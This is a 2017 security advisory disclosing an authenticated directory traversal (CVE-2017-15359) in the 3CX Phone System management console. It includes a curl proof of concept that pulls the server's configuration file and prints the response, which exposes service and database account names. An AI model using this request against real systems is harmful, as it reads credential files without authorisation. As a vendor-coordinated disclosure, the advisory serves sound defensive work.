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3CX Phone System 15.5.3554.1 Directory Traversal
Posted on 17 October 2017
Title: ====== 3CX Phone System - Authenticated Directory Traversal Author: ======= Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG CVE-ID: ======= CVE-2017-15359 Risk Information: ================= CVSS Base Score: 6.8 CVSS Vector: CVSS3#AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N Timeline: ========= 2017-08-08 Vulnerability discovered 2017-08-10 Asked for security contact 2017-08-11 Send details to the vendor 2017-09-04 Vendor has confirmed the vulnerability, will be fixed in the next release 2017-10-16 Public disclosure Affected Products: ================== 3CX Phone System 15.5.3554.1 (Debian based installation) Vendor Homepage: ================ https://www.3cx.com/phone-system/download-links/ Details: ======== In the 3CX Phone System 15.5.3554.1, the Management Console typically listens to port 5001 and is prone to a directory traversal attack: "/api/RecordingList/DownloadRecord?file=" and "/api/SupportInfo?file=" are the vulnerable parameters. An attacker must be authenticated to exploit this issue to access sensitive information to aid in subsequent attacks. The vulnerabilities were found during a penetration test. Proof of Concept: ================= ~$ curl -i -k --cookie ".AspNetCore.Cookies=CfDJ8PTIw(...)" https://192.168.0.1:5001/api/SupportInfo?file=/var/lib/3cxpbx/Instance1/Bin/3CXPhoneSystem.ini HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Aug 2017 13:05:16 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive X-3CX-Version: 15.5.3554.1 Content-Disposition: attachment; filename="/var/lib/3cxpbx/Instance1/Bin/3CXPhoneSystem.ini"; filename*=UTF-8''%2Fvar%2Flib%2F3cxpbx%2FInstance1%2FBin%2F3CXPhoneSystem.ini X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15768000 [General] ;connection point to call manager ;used by: ;a) call manager initializes own listener before it connects to configuration server. ;b) components which are working directly with call manager ;MUST NOT be used by components which make connection to configuration server. ;They MUST use CM_API_IP, CM_API_PORT, CM_API_USER and CM_API_PASSWORD paramaeters to make direct connection to CallManagerAPI pbxSLNIC=127.0.0.1 cmPort=5482 pbxuser=instance_Instance158792 pbxpass=REMOVED AppPath=/var/lib/3cxpbx/Instance1 AppDataPath=/var/lib/3cxpbx/Instance1 Tenant=Instance1 [ConfService] ;connection point to configuration server for components confNIC=127.0.0.1 ConfPort=5485 confUser=cfguser_default confPass=REMOVED [CfgServerProfile] ;configuration server connection to database ;exclusively used by configuration server DBHost=127.0.0.1 DBPort=5432 MasterDBUser=phonesystem MasterDBPassword=REMOVED MasterTable=phonesystem_mastertable DefFile=Objects.cls [QMDatabase] DBHost=127.0.0.1 DBPort=5432 DBName=database_single dbUser=logsreader_single dbPassword=REMOVED [MIME_TYPES] MESSAGE=x-chat/control Fix: ==== Vendor has confirmed the vulnerability, will be fixed in the next release.